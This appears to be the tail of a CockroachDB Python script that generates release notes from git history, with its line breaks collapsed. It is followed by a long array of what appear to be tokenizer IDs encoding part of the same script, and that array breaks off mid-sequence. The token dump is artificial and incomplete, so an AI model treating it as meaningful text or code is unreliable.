ctime = datetime.datetime.fromtimestamp(commit.committed_date).ctime() numbermatch = merge_numbers.search(commit.message) # Analyze the commit if numbermatch is not None: prs = numbermatch.group("numbers").strip().split(" ") for pr in prs: print(" \r%s (%s) " % (pr, ctime), end='', file=sys.stderr) analyze_pr(commit, pr) else: print(" \r%s (%s) " % (commit.hexsha[:shamin], ctime), end='', file=sys.stderr) analyze_standalone_commit(commit) print("\b\nAnalyzing authors...", file=sys.stderr) sys.stderr.flush() allgroups = list(per_group_history.keys()) allgroups.sort(key=lambda x:x.lower()) print("\b\nComputing first-time contributors...", end='', file=sys.stderr) ext_contributors = individual_authors - crdb_folk firsttime_contributors = [] for a in individual_authors: # Find all aliases known for this person aliases = [a] for alias, name in author_aliases.items(): if name == a: aliases.append(alias) # Collect the history for every alias hist = b'' for al in aliases: spin() c = subprocess.run(["git", "log", "--author=%s" % al, options.from_commit, '-n', '1'], stdout=subprocess.PIPE, check=True) hist += c.stdout if len(hist) == 0: # No commit from that author older than the first commit # selected, so that's a first-time author. firsttime_contributors.append(a) print("\b\n", file=sys.stderr) sys.stderr.flush() ### Presentation of results ### ## Print the release notes. # Start with known sections. current_version = subprocess.check_output(["git", "describe", "--tags", "--match=v[0-9]*", options.until_commit], universal_newlines=True).strip() previous_version = subprocess.check_output(["git", "describe", "--tags", "--match=v[0-9]*", options.from_commit], universal_newlines=True).strip() if not hideheader: print("---") print("title: What&#39;s New in", current_version) print("toc: true") print("summary: Additions and changes in CockroachDB version", current_version, "since version", previous_version) print("---") print() print("## " + time.strftime("%B %d, %Y")) print() ## Print the release notes sign-up and Downloads section. if not hidedownloads: print("""Get future release notes emailed to you: <div class="hubspot-install-form install-form-1 clearfix"> <script> hbspt.forms.create({ css: '', cssClass: 'install-form', portalId: '1753393', formId: '39686297-81d2-45e7-a73f-55a596a8d5ff', formInstanceId: 1, target: '.install-form-1' }); </script> </div>""") print() print("""### Downloads <div id="os-tabs" class="clearfix"> <a href="https://binaries.cockroachdb.com/cockroach-""" + current_version + """.darwin-10.9-amd64.tgz"><button id="mac" data-eventcategory="mac-binary-release-notes">Mac</button></a> <a href="https://binaries.cockroachdb.com/cockroach-""" + current_version + """.linux-amd64.tgz"><button id="linux" data-eventcategory="linux-binary-release-notes">Linux</button></a> <a href="https://binaries.cockroachdb.com/cockroach-""" + current_version + """.windows-6.2-amd64.zip"><button id="windows" data-eventcategory="windows-binary-release-notes">Windows</button></a> <a href="https://binaries.cockroachdb.com/cockroach-""" + current_version + """.src.tgz"><button id="source" data-eventcategory="source-release-notes">Source</button></a> </div> """) print("""### Docker image {% include copy-clipboard.html %} ~~~shell $ docker pull cockroachdb/cockroach:""" + current_version + """ ~~~ """) print() seenshas = set() seenprs = set() def renderlinks(item): ret = '[%(pr)s][%(pr)s]' % item seenprs.add(item['pr']) if not hideshas: ret += ' [%(sha)s][%(sha)s]' % item seenshas.add(item['sha']) return ret for sec in relnote_sec_order: r = release_notes.get(sec, None) if r is None: # No change in this section, nothing to print. continue sectitle = relnotetitles[sec] print("###", sectitle) print() for item in reversed(r): print("-", item['note'].replace('\n', '\n '), renderlinks(item)) print() extrasec = set() for sec in release_notes: if sec in relnote_sec_order: # already handled above, don't do anything. continue extrasec.add(sec) if len(extrasec) > 0 or len(missing_release_notes) > 0: print("### Miscellaneous") print() if len(extrasec) > 0: extrasec_sorted = sorted(list(extrasec)) for extrasec in extrasec_sorted: print("#### %s" % extrasec.capitalize()) print() for item in release_notes[extrasec]: print("-", item['note'].replace('\n', '\n '), renderlinks(item)) print() if len(missing_release_notes) > 0: print("#### Changes without release note annotation") print() for item in missing_release_notes: authors = item['authors'] print("- [%(pr)s][%(pr)s] [%(sha)s][%(sha)s] %(title)s" % item, "(%s)" % authors) seenshas.add(item['sha']) seenprs.add(item['pr']) print() ## Print the Doc Updates section. print("### Doc updates") print() print("Docs team: Please add these manually.") print() ## Print the Contributors section. print("### Contributors") print() print("This release includes %d merged PR%s by %s author%s." % (len(allprs), len(allprs) != 1 and "s" or "", len(individual_authors), (len(individual_authors) != 1 and "s" or ""), )) ext_contributors = individual_authors - crdb_folk notified_authors = sorted(set(ext_contributors) | set(firsttime_contributors)) if len(notified_authors) > 0: print("We would like to thank the following contributors from the CockroachDB community:") print() for person in notified_authors: print("-", person, end='') if person in firsttime_contributors: annot = "" if person in crdb_folk: annot = ", CockroachDB team member" print(" (first-time contributor%s)" % annot, end='') print() print() ## Print the per-author contribution list. if not hidepercontributor: print("### PRs merged by contributors") print() if not hideshas: fmt = " - %(date)s [%(pr)-6s][%(pr)-6s] [%(sha)s][%(sha)s] (+%(insertions)4d -%(deletions)4d ~%(lines)4d/%(files)2d) %(title)s" else: fmt = " - %(date)s [%(pr)-6s][%(pr)-6s] (+%(insertions)4d -%(deletions)4d ~%(lines)4d/%(files)2d) %(title)s" for group in allgroups: items = per_group_history[group] print("- %s:" % group) items.sort(key=lambda x:x[sortkey],reverse=not revsort) for item in items: print(fmt % item, end='') if not hideshas: seenshas.add(item['sha']) seenprs.add(item['pr']) ncommits = item['ncommits'] if ncommits > 1: print(" (", end='') print("%d commits" % ncommits, end='') print(")", end='') print() print() print() # Link the PRs and SHAs for pr in sorted(seenprs): print("[%s]: https://github.com/cockroachdb/cockroach/pull/%s" % (pr, pr[1:])) for sha in sorted(seenshas): print("[%s]: https://github.com/cockroachdb/cockroach/commit/%s" % (sha, sha)) print()
[ 1, 529, 276, 1112, 420, 29958, 5064, 272, 2966, 29914, 24956, 307, 496, 29966, 9507, 29958, 16713, 29914, 14096, 29899, 16953, 29889, 2272, 13, 29937, 29991, 847, 4855, 29914, 2109, 29914, 6272, 3017, 29941, 13, 29937, 13, 29937, 7704, 263, 11071, 6507, 4443, 15837, 310, 263, 3464, 310, 11786, 25741, 29889, 13, 29937, 13, 29937, 8741, 671, 29901, 6507, 29899, 16953, 29889, 2272, 1192, 8477, 13, 29937, 13, 29937, 3940, 29901, 278, 937, 9063, 297, 278, 3464, 338, 429, 13347, 29991, 13, 29937, 13, 29937, 830, 339, 2658, 29901, 13, 29937, 259, 448, 11786, 11980, 2045, 597, 29886, 1478, 29875, 29889, 4691, 29889, 990, 29914, 29886, 1478, 29875, 29914, 28712, 11980, 29914, 13, 29937, 259, 448, 887, 817, 304, 10822, 596, 1887, 13761, 304, 8206, 278, 12089, 2143, 29879, 515, 13, 29937, 268, 25492, 29889, 29871, 1763, 437, 445, 29892, 788, 263, 1196, 763, 29901, 13, 29937, 539, 6699, 353, 718, 24539, 29914, 26746, 29914, 3877, 2813, 29901, 24539, 29914, 26746, 29914, 12574, 5515, 13, 29937, 268, 304, 278, 25492, 7592, 4004, 310, 869, 5559, 29914, 2917, 29889, 13, 29937, 13, 29937, 8565, 433, 4193, 29901, 445, 1824, 338, 4944, 1728, 1370, 21867, 583, 310, 738, 2924, 29892, 13, 29937, 3704, 14726, 3097, 363, 738, 6437, 29889, 450, 4148, 29898, 29879, 29897, 674, 451, 367, 13, 29937, 14040, 565, 445, 2471, 321, 1446, 596, 2175, 577, 384, 29889, 13, 29937, 13, 29937, 8360, 776, 27028, 29901, 13, 29937, 13, 29937, 448, 565, 1422, 2305, 411, 278, 1021, 1024, 29126, 29892, 445, 2471, 13, 29937, 259, 674, 367, 9613, 29889, 313, 277, 674, 10366, 1009, 664, 1090, 697, 6251, 467, 13, 29937, 448, 278, 1051, 310, 14430, 2129, 2400, 1818, 367, 7522, 9120, 746, 13, 29937, 259, 17737, 29560, 1735, 1009, 6315, 1024, 322, 29914, 272, 4876, 3211, 29889, 13, 29937, 13, 29937, 3940, 29901, 727, 526, 5190, 6987, 297, 278, 6507, 29899, 16953, 1014, 12322, 29991, 13, 13, 5215, 10876, 13, 5215, 4256, 8504, 13, 5215, 337, 13, 5215, 2897, 13, 5215, 12865, 29892, 931, 13, 5215, 1014, 5014, 13, 3166, 6315, 1053, 830, 1129, 13, 3166, 3523, 5510, 1053, 10831, 11726, 13, 3166, 6315, 29889, 20095, 29889, 7692, 1053, 1024, 29918, 517, 29918, 3318, 13, 3166, 6315, 29889, 4422, 1053, 624, 1446, 13, 13, 2277, 29937, 12002, 6030, 17727, 835, 13, 13, 29937, 9212, 528, 29874, 3309, 304, 766, 14727, 403, 13, 845, 9103, 353, 29871, 29929, 13, 13, 29937, 383, 6415, 2303, 29898, 3959, 29920, 1125, 910, 3117, 4225, 304, 671, 278, 869, 2549, 1958, 29889, 13, 8921, 29918, 2606, 2129, 353, 426, 13, 1678, 525, 305, 574, 574, 3100, 2396, 9872, 5813, 28341, 13, 1678, 525, 29881, 713, 294, 6698, 29941, 29906, 29941, 2396, 9872, 5813, 28341, 13, 1678, 525, 1717, 29874, 2396, 376, 29934, 481, 2350, 295, 525, 1717, 29874, 29915, 29863, 613, 13, 1678, 525, 29894, 573, 29895, 1527, 6096, 267, 2396, 9872, 5813, 28341, 13, 1678, 525, 9908, 29884, 17104, 25201, 2396, 9872, 5813, 28341, 13, 1678, 12801, 5813, 29958, 2396, 9872, 5813, 28341, 13, 1678, 525, 3034, 29883, 2396, 9872, 5813, 28341, 13, 1678, 525, 5661, 10732, 2396, 9872, 5813, 28341, 13, 1678, 525, 29880, 29882, 381, 532, 29915, 584, 9872, 5813, 28341, 13, 1678, 525, 6026, 22670, 2396, 9872, 5813, 28341, 13, 1678, 525, 9486, 261, 29882, 1292, 2396, 9872, 5813, 28341, 13, 1678, 525, 29940, 403, 2396, 9872, 5813, 28341, 13, 1678, 525, 29874, 29953, 29947, 29900, 29906, 29955, 29941, 29929, 2396, 376, 29903, 549, 5952, 29877, 613, 13, 1678, 525, 4920, 29882, 5269, 29895, 529, 26862, 6227, 29958, 2396, 9872, 5813, 28341, 13, 1678, 525, 719, 941, 615, 2396, 9872, 5813, 28341, 13, 1678, 525, 21453, 2350, 29877, 2396, 9872, 5813, 28341, 13, 1678, 525, 2929, 549, 14224, 2396, 9872, 5813, 28341, 13, 1678, 525, 9346, 29899, 29877, 2396, 9872, 5813, 28341, 13, 1678, 525, 6833, 29878, 6637, 2396, 9872, 5813, 28341, 13, 1678, 525, 29891, 29884, 26870, 586, 436, 2396, 9872, 5813, 28341, 13, 1678, 525, 19581, 8708, 29879, 1973, 29882, 2396, 9872, 5813, 28341, 13, 1678, 12801, 5813, 29958, 2396, 9872, 5813, 28341, 13, 29913, 13, 13, 29937, 383, 6415, 2303, 29898, 3959, 29920, 1125, 910, 2086, 29889, 13, 7283, 2585, 29918, 17976, 353, 731, 4197, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 1678, 9872, 5813, 28341, 13, 2314, 13, 13, 13, 29937, 9779, 17735, 363, 6507, 11486, 29889, 13, 2674, 1333, 300, 277, 793, 353, 426, 13, 1678, 525, 11303, 1735, 2396, 376, 6255, 29899, 1220, 3620, 613, 13, 1678, 525, 2850, 1735, 2396, 376, 4176, 4086, 3620, 613, 13, 1678, 525, 6406, 14313, 1735, 2396, 376, 12754, 3740, 3620, 613, 13, 1678, 525, 17492, 1735, 2396, 376, 15263, 3620, 613, 13, 1678, 525, 4282, 1735, 2396, 376, 8893, 3620, 613, 13, 1678, 525, 5893, 7734, 1735, 2396, 376, 10399, 7734, 12203, 3620, 613, 13, 1678, 525, 1627, 1328, 29899, 262, 23712, 1735, 2396, 376, 5841, 1328, 29899, 262, 23712, 3620, 613, 13, 1678, 525, 546, 13390, 20414, 2396, 376, 5894, 13390, 28473, 613, 13, 1678, 525, 6152, 2329, 2396, 376, 29933, 688, 24626, 613, 13, 29913, 13, 13, 29937, 8170, 297, 607, 304, 1510, 278, 13926, 29889, 13, 2674, 6812, 29918, 3471, 29918, 2098, 353, 518, 13, 1678, 525, 1627, 1328, 29899, 262, 23712, 1735, 742, 13, 1678, 525, 17492, 1735, 742, 13, 1678, 525, 5893, 7734, 1735, 742, 13, 1678, 525, 2850, 1735, 742, 13, 1678, 525, 11303, 1735, 742, 13, 1678, 525, 6406, 14313, 1735, 742, 13, 1678, 525, 6152, 2329, 742, 13, 1678, 525, 546, 13390, 20414, 742, 13, 1678, 525, 4282, 1735, 742, 13, 1678, 4514, 13, 13, 29937, 23708, 4443, 7663, 3619, 3052, 29886, 514, 886, 29889, 13, 4117, 29918, 9894, 29886, 10071, 353, 426, 13, 1678, 525, 2850, 29915, 584, 525, 2850, 1735, 742, 13, 1678, 525, 17492, 2396, 525, 17492, 1735, 742, 13, 1678, 525, 3221, 1735, 2396, 525, 17492, 1735, 742, 13, 1678, 525, 6152, 5878, 2396, 525, 6152, 2329, 742, 13, 1678, 525, 546, 13390, 1735, 29915, 584, 525, 546, 13390, 20414, 742, 13, 1678, 525, 546, 13390, 29915, 584, 525, 546, 13390, 20414, 742, 13, 1678, 525, 1481, 29915, 584, 525, 6406, 14313, 1735, 742, 13, 1678, 525, 1627, 2935, 29899, 262, 23712, 1735, 2396, 525, 1627, 1328, 29899, 262, 23712, 1735, 742, 13, 1678, 525, 5893, 7734, 2396, 525, 5893, 7734, 1735, 29915, 13, 1678, 500, 13, 13, 2277, 23708, 4443, 3402, 444, 13, 13, 29937, 450, 1494, 6507, 4443, 21971, 505, 1063, 3595, 297, 278, 8775, 29901, 13, 29937, 13, 29937, 23708, 4443, 313, 12353, 1125, 343, 8071, 1678, 3705, 24420, 13, 29937, 23708, 8695, 29901, 6213, 13, 29937, 23708, 4443, 313, 12353, 1125, 343, 8071, 13, 29937, 23708, 4443, 313, 12353, 29897, 584, 343, 8071, 13, 29937, 23708, 4443, 29901, 313, 12353, 1125, 343, 8071, 13, 29937, 23708, 4443, 29901, 921, 4419, 29901, 343, 8071, 13, 29937, 23708, 4443, 29901, 313, 12353, 29897, 343, 8071, 13, 29937, 23708, 4443, 29901, 343, 8071, 313, 1217, 7663, 29897, 13, 29937, 23708, 4443, 313, 12353, 29892, 503, 5617, 1125, 343, 8071, 13, 15459, 3478, 866, 353, 337, 29889, 12198, 29898, 29878, 29915, 29985, 29961, 29878, 29934, 29962, 29872, 1511, 518, 29876, 29940, 29962, 4769, 25825, 334, 29961, 29940, 29876, 29962, 650, 742, 13449, 29922, 276, 29889, 29924, 29897, 13, 29937, 8868, 1973, 584, 29973, 313, 12353, 29897, 1577, 29901, 343, 8071, 13, 689, 29896, 353, 364, 2396, 29973, 334, 29905, 3552, 29973, 29925, 29966, 4117, 29896, 29958, 22896, 4638, 29930, 27779, 334, 29901, 17901, 13, 29937, 8868, 1973, 584, 921, 4419, 29901, 343, 8071, 448, 445, 1818, 367, 16010, 451, 304, 10446, 2086, 1568, 29892, 591, 925, 3544, 697, 470, 1023, 3838, 13, 689, 29906, 353, 364, 2396, 334, 10780, 29925, 29966, 4117, 29906, 29958, 22896, 4514, 29974, 10780, 29901, 718, 22896, 4514, 29974, 6877, 29897, 334, 11283, 13, 29937, 8868, 1973, 584, 343, 8071, 448, 694, 7663, 13, 689, 29941, 353, 364, 2396, 10780, 29925, 29966, 4117, 29941, 12948, 29915, 13, 2674, 6812, 353, 337, 29889, 12198, 29898, 29878, 29915, 10780, 29901, 29985, 29989, 7110, 29876, 29905, 29878, 2314, 29961, 29878, 29934, 29962, 29872, 1511, 518, 29876, 29940, 29962, 4769, 29973, 334, 10780, 11283, 718, 883, 29896, 718, 525, 29989, 29915, 718, 883, 29906, 718, 525, 29989, 29915, 718, 883, 29941, 718, 364, 1495, 334, 10780, 29925, 29966, 6812, 29958, 5575, 1262, 742, 13449, 29922, 276, 29889, 29903, 29897, 13, 13, 1111, 8921, 353, 337, 29889, 12198, 29898, 29878, 29915, 29985, 7967, 29899, 8921, 287, 29899, 1609, 29901, 22308, 29925, 29966, 978, 29958, 22896, 29966, 29962, 7528, 529, 10780, 29925, 29966, 5269, 29958, 5575, 15410, 742, 13449, 29922, 276, 29889, 29924, 29897, 13, 5878, 6735, 353, 337, 29889, 12198, 29898, 29878, 29915, 29985, 4197, 29888, 29943, 29962, 861, 29898, 267, 29989, 287, 6877, 29989, 29961, 29883, 29907, 29962, 2226, 29898, 29881, 29989, 29879, 6877, 29897, 396, 742, 13449, 29922, 276, 29889, 29924, 29897, 13, 13, 2277, 4702, 479, 9063, 3402, 444, 13, 13, 29937, 450, 1494, 10366, 25741, 505, 1063, 3595, 297, 278, 8775, 29901, 13, 29937, 13, 29937, 4702, 479, 8206, 2009, 396, 19165, 29990, 515, 2023, 418, 3705, 25492, 2778, 2710, 13, 29937, 4702, 479, 396, 19165, 29990, 396, 19165, 29990, 396, 19165, 29990, 795, 3705, 350, 943, 2778, 2710, 13, 14634, 29918, 20326, 353, 337, 29889, 12198, 29898, 29878, 29915, 29985, 15836, 479, 29898, 8206, 2009, 6877, 10780, 29925, 29966, 20326, 5961, 14330, 29900, 29899, 29929, 10062, 7240, 29897, 1495, 13, 13, 2277, 29937, 17250, 2133, 847, 2984, 13755, 835, 13, 13, 16680, 353, 10831, 11726, 580, 13, 16680, 29889, 1202, 29918, 3385, 703, 29899, 29895, 613, 376, 489, 6605, 29899, 1989, 613, 2731, 543, 6605, 29918, 1989, 613, 2322, 543, 3257, 613, 13, 462, 29871, 1371, 543, 6605, 491, 14636, 313, 558, 29892, 3611, 29892, 4635, 1080, 29892, 7374, 1080, 29892, 2066, 29892, 528, 29874, 29892, 2635, 29936, 2322, 29901, 3611, 19123, 1539, 485, 279, 543, 10818, 1159, 13, 16680, 29889, 1202, 29918, 3385, 703, 29899, 29878, 613, 376, 489, 24244, 613, 3158, 543, 8899, 29918, 3009, 613, 2731, 543, 24244, 29918, 6605, 613, 2322, 29922, 8824, 29892, 13, 462, 29871, 1371, 543, 24244, 2656, 1159, 13, 16680, 29889, 1202, 29918, 3385, 703, 29899, 29888, 613, 376, 489, 3166, 613, 2731, 543, 3166, 29918, 15060, 613, 13, 462, 29871, 1371, 543, 1761, 4955, 515, 4810, 7428, 1806, 29889, 3940, 29901, 278, 937, 9063, 338, 429, 13347, 19602, 1539, 485, 279, 543, 3217, 7428, 1806, 1159, 13, 16680, 29889, 1202, 29918, 3385, 703, 29899, 29873, 613, 376, 489, 29305, 613, 2731, 543, 29305, 29918, 15060, 613, 2322, 543, 23252, 613, 13, 462, 29871, 1371, 543, 1761, 4955, 701, 322, 2745, 4810, 7428, 1806, 313, 4381, 29901, 17714, 3035, 19123, 1539, 485, 279, 543, 3217, 7428, 1806, 1159, 13, 16680, 29889, 1202, 29918, 3385, 703, 29899, 29886, 613, 376, 489, 26746, 29899, 999, 613, 2731, 543, 26746, 29918, 999, 29918, 13506, 613, 2322, 543, 24539, 29914, 26746, 29914, 12574, 613, 13, 462, 29871, 1371, 543, 13506, 363, 8206, 2009, 2143, 29879, 313, 4381, 29901, 2143, 29879, 29914, 26746, 29914, 12574, 19123, 1539, 485, 279, 543, 15094, 25634, 1159, 13, 16680, 29889, 1202, 29918, 3385, 703, 489, 11458, 29899, 348, 14727, 681, 29899, 845, 294, 613, 3158, 543, 8899, 29918, 3009, 613, 2731, 543, 11458, 29918, 845, 294, 613, 2322, 29922, 8824, 29892, 13, 462, 29871, 1371, 543, 290, 277, 9063, 24972, 2887, 515, 278, 6507, 11486, 322, 639, 29899, 21570, 3406, 13926, 1159, 13, 16680, 29889, 1202, 29918, 3385, 703, 489, 11458, 29899, 546, 29899, 21570, 3406, 29899, 2042, 613, 3158, 543, 8899, 29918, 3009, 613, 2731, 543, 11458, 29918, 546, 29918, 21570, 3406, 613, 2322, 29922, 8824, 29892, 13, 462, 29871, 1371, 543, 290, 277, 278, 639, 29899, 21570, 3406, 4004, 1159, 13, 16680, 29889, 1202, 29918, 3385, 703, 489, 11458, 29899, 10382, 29879, 29899, 2042, 613, 3158, 543, 8899, 29918, 3009, 613, 2731, 543, 11458, 29918, 10382, 29879, 613, 2322, 29922, 8824, 29892, 13, 462, 29871, 1371, 543, 290, 277, 278, 4876, 1804, 29899, 786, 322, 5142, 29879, 4004, 1159, 13, 16680, 29889, 1202, 29918, 3385, 703, 489, 11458, 29899, 6672, 613, 3158, 543, 8899, 29918, 3009, 613, 2731, 543, 11458, 29918, 6672, 613, 2322, 29922, 8824, 29892, 13, 462, 29871, 1371, 543, 290, 277, 278, 3611, 322, 2635, 4839, 1159, 13, 16680, 29889, 1202, 29918, 3385, 703, 489, 735, 2325, 29899, 3166, 613, 2731, 543, 735, 2325, 29918, 3166, 29918, 15060, 613, 13, 462, 29871, 1371, 543, 735, 2325, 4955, 6257, 1156, 4810, 7428, 1806, 29889, 3940, 29901, 4810, 7428, 1806, 3528, 338, 429, 13347, 19602, 1539, 485, 279, 543, 3217, 7428, 1806, 1159, 13, 16680, 29889, 1202, 29918, 3385, 703, 489, 735, 2325, 29899, 29305, 613, 2731, 543, 735, 2325, 29918, 29305, 29918, 15060, 613, 13, 462, 29871, 1371, 543, 735, 2325, 4955, 17140, 472, 4810, 7428, 1806, 613, 1539, 485, 279, 543, 3217, 7428, 1806, 1159, 13, 16680, 29889, 1202, 29918, 3385, 703, 489, 650, 29899, 1220, 613, 2731, 543, 650, 29918, 1220, 613, 3158, 543, 8899, 29918, 3009, 613, 2322, 29922, 8824, 29892, 13, 462, 29871, 1371, 543, 26238, 6507, 11486, 373, 263, 2323, 1196, 1159, 13, 13, 29898, 6768, 29892, 6389, 29897, 353, 13812, 29889, 5510, 29918, 5085, 580, 13, 13, 6605, 1989, 353, 3987, 29889, 6605, 29918, 1989, 13, 276, 4270, 441, 353, 3987, 29889, 24244, 29918, 6605, 13, 26746, 29918, 999, 29918, 13506, 353, 3987, 29889, 26746, 29918, 999, 29918, 13506, 13, 29882, 2247, 5349, 353, 3987, 29889, 11458, 29918, 845, 294, 13, 11458, 546, 21570, 3406, 353, 3987, 29889, 11458, 29918, 546, 29918, 21570, 3406, 13, 29882, 2618, 776, 18132, 353, 3987, 29889, 11458, 29918, 10382, 29879, 13, 11458, 6672, 353, 3987, 29889, 11458, 29918, 6672, 13, 13, 20095, 353, 830, 1129, 12839, 1495, 13, 2813, 29879, 353, 13761, 29889, 2813, 29879, 13, 13, 1753, 337, 4830, 29918, 6812, 29898, 6812, 29918, 9012, 1125, 13, 1678, 16345, 353, 11297, 29876, 29915, 13, 1678, 565, 3987, 29889, 650, 29918, 1220, 29901, 13, 4706, 16345, 353, 525, 525, 13, 1678, 736, 16345, 29889, 7122, 29898, 6812, 29918, 9012, 467, 17010, 580, 13, 13, 29937, 5399, 393, 8206, 29918, 999, 29918, 13506, 338, 2854, 13, 1688, 999, 978, 353, 11860, 29879, 29914, 29896, 29908, 1273, 8206, 29918, 999, 29918, 13506, 13, 2202, 29901, 13, 1678, 13761, 29889, 15060, 29898, 1688, 999, 978, 29897, 13, 19499, 29901, 13, 1678, 1596, 703, 2525, 519, 304, 1284, 8206, 2009, 2143, 29879, 472, 1273, 29879, 1213, 1273, 8206, 29918, 999, 29918, 13506, 29892, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 1678, 1596, 703, 3624, 596, 13761, 731, 701, 304, 6699, 963, 29973, 29871, 3967, 4417, 613, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 1678, 1596, 703, 29871, 6699, 353, 718, 24539, 29914, 26746, 29914, 3877, 2813, 16664, 29879, 5515, 29908, 1273, 8206, 29918, 999, 29918, 13506, 29892, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 1678, 1596, 703, 517, 278, 25492, 7592, 4004, 310, 869, 5559, 29914, 2917, 19602, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 1678, 6876, 29898, 29896, 29897, 13, 13, 1753, 1284, 29918, 2055, 1169, 29898, 3166, 29918, 15060, 29918, 999, 29892, 2745, 29918, 15060, 29918, 999, 1125, 13, 1678, 1018, 29901, 13, 4706, 937, 1523, 2415, 353, 13761, 29889, 15060, 29898, 3166, 29918, 15060, 29918, 999, 29897, 13, 1678, 5174, 29901, 13, 4706, 1596, 703, 2525, 519, 304, 1284, 278, 937, 9063, 310, 278, 3464, 19602, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 4706, 1596, 703, 3782, 2143, 4257, 1273, 29879, 1213, 1273, 515, 29918, 15060, 29918, 999, 29892, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 4706, 6876, 29898, 29896, 29897, 13, 13, 1678, 1018, 29901, 13, 4706, 9063, 353, 13761, 29889, 15060, 29898, 29305, 29918, 15060, 29918, 999, 29897, 13, 1678, 5174, 29901, 13, 4706, 1596, 703, 2525, 519, 304, 1284, 278, 1833, 9063, 310, 278, 3464, 19602, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 4706, 1596, 703, 3782, 2143, 4257, 1273, 29879, 1213, 1273, 2745, 29918, 15060, 29918, 999, 29892, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 4706, 6876, 29898, 29896, 29897, 13, 13, 1678, 736, 937, 1523, 2415, 29892, 9063, 13, 13, 4102, 1523, 2415, 29892, 9063, 353, 1284, 29918, 2055, 1169, 29898, 6768, 29889, 3166, 29918, 15060, 29892, 3987, 29889, 29305, 29918, 15060, 29897, 13, 361, 9063, 1275, 937, 1523, 2415, 29901, 13, 1678, 1596, 703, 1523, 2415, 3464, 338, 4069, 29991, 613, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 1678, 1596, 29898, 16680, 29889, 657, 29918, 21125, 3285, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 1678, 1596, 703, 14023, 671, 29901, 613, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 1678, 1596, 703, 29871, 1273, 29879, 1192, 8477, 29908, 1273, 10876, 29889, 19218, 29961, 29900, 1402, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 1678, 1596, 703, 29871, 1273, 29879, 1192, 3166, 921, 4419, 1405, 4905, 29889, 3487, 29908, 1273, 10876, 29889, 19218, 29961, 29900, 1402, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 1678, 1596, 703, 29871, 1273, 29879, 1192, 3166, 921, 4419, 1192, 29305, 343, 8071, 1405, 4905, 29889, 3487, 29908, 1273, 10876, 29889, 19218, 29961, 29900, 1402, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 1678, 1596, 703, 9842, 29901, 278, 937, 9063, 338, 429, 13347, 29889, 4803, 321, 29889, 29887, 4898, 1192, 3166, 529, 16304, 29899, 14096, 29899, 4039, 29958, 1192, 29305, 529, 1482, 29899, 14096, 29899, 29883, 5380, 403, 29899, 17051, 28341, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 1678, 6876, 29898, 29900, 29897, 13, 13, 735, 13347, 6730, 29892, 429, 13347, 8897, 353, 6213, 29892, 6213, 13, 361, 3987, 29889, 735, 2325, 29918, 3166, 29918, 15060, 470, 3987, 29889, 735, 2325, 29918, 29305, 29918, 15060, 29901, 13, 1678, 565, 451, 3987, 29889, 735, 2325, 29918, 3166, 29918, 15060, 470, 451, 3987, 29889, 735, 2325, 29918, 29305, 29918, 15060, 29901, 13, 4706, 1596, 703, 29933, 720, 448, 24660, 322, 448, 486, 1818, 367, 6790, 29892, 470, 451, 472, 599, 23157, 13, 4706, 6876, 29898, 29896, 29897, 13, 1678, 429, 13347, 6730, 29892, 429, 13347, 8897, 353, 1284, 29918, 2055, 1169, 29898, 6768, 29889, 735, 2325, 29918, 3166, 29918, 15060, 29892, 3987, 29889, 735, 2325, 29918, 29305, 29918, 15060, 29897, 13, 13, 2277, 29937, 21439, 848, 515, 9810, 835, 13, 13, 1753, 12439, 29918, 15060, 29898, 15060, 1125, 13, 1678, 736, 14210, 29879, 4852, 29995, 29879, 613, 1273, 29879, 16029, 1273, 313, 13, 4706, 9063, 29889, 20970, 17051, 29892, 9063, 29889, 4906, 29889, 5451, 28909, 29876, 742, 29896, 9601, 29900, 1402, 13, 4706, 12865, 